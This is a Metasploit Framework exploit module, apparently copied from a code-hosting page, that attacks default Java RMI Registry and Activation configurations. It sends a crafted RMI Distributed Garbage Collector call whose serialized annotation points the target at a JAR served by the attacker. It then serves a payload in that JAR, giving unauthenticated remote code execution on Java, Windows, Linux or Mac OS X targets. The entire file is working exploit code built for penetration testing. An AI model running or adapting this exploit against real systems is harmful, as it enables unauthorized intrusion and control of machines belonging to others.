metasploit-framework/modules/exploits/multi/misc/java_rmi_server.rb

294 lines
10 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Java::Rmi::Client
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
'Description' => %q{
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
Java process.
RMI method calls do not support or require any sort of authentication.
},
'Author' => [ 'mihi' ],
'License' => MSF_LICENSE,
'References' =>
[
# RMI protocol specification
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
# Placeholder reference for matching
[ 'MSF', 'java_rmi_server']
],
'DisclosureDate' => 'Oct 15 2011',
'Platform' => %w{ java linux osx solaris win },
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(1099),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_common_rmi_ports_and_services
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise ::RuntimeError, e.message
end
end
def primer
connect
print_status("Sending RMI Header...")
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
jar = rand_text_alpha(rand(8)+1) + '.jar'
new_url = get_uri + '/' + jar
print_status("Sending RMI Call...")
dgc_interface_hash = calculate_interface_hash(
[
{
name: 'clean',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
exceptions: ['java.rmi.RemoteException']
},
{
name: 'dirty',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
exceptions: ['java.rmi.RemoteException']
}
]
)
# JDK 1.1 stub protocol
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
send_call(
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
arguments: build_dgc_clean_args(new_url)
)
return_value = recv_return
if return_value.nil? && !session_created?
fail_with(Failure::Unknown, 'RMI Call failed')
end
if return_value && return_value.is_exception? && loader_disabled?(return_value)
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
end
if return_value && return_value.is_exception? && class_not_found?(return_value)
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
end
disconnect
end
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
]
jar.add_files(paths, MetasploitPayloads.path('java'))
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
stop_service
end
end
def cleanup
# Normally service termination should not be managed on the module's level, but this is a
# special case.
#
# Originally this special service termination routine was implemented in
# Exploit::Remote::TcpServer#stop_service, but that would actually cause all HttpServers to stop
# if one of them attempts to register a resource that is already taken, which seems to be a
# harsh punishment. This is why the fix is moved here.
#
# See references:
# https://github.com/rapid7/metasploit-framework/pull/4203
# https://github.com/rapid7/metasploit-framework/issues/6445
service.stop if service
super
end
def autofilter
return true
end
def loader_disabled?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
exception.class_data[1].contents.include?('RMI class loader disabled')
return true
end
end
false
end
def class_not_found?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
return true
end
end
false
end
def build_dgc_clean_args(jar_url)
arguments = []
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
arguments << new_array
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
arguments << new_object
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
arguments
end
end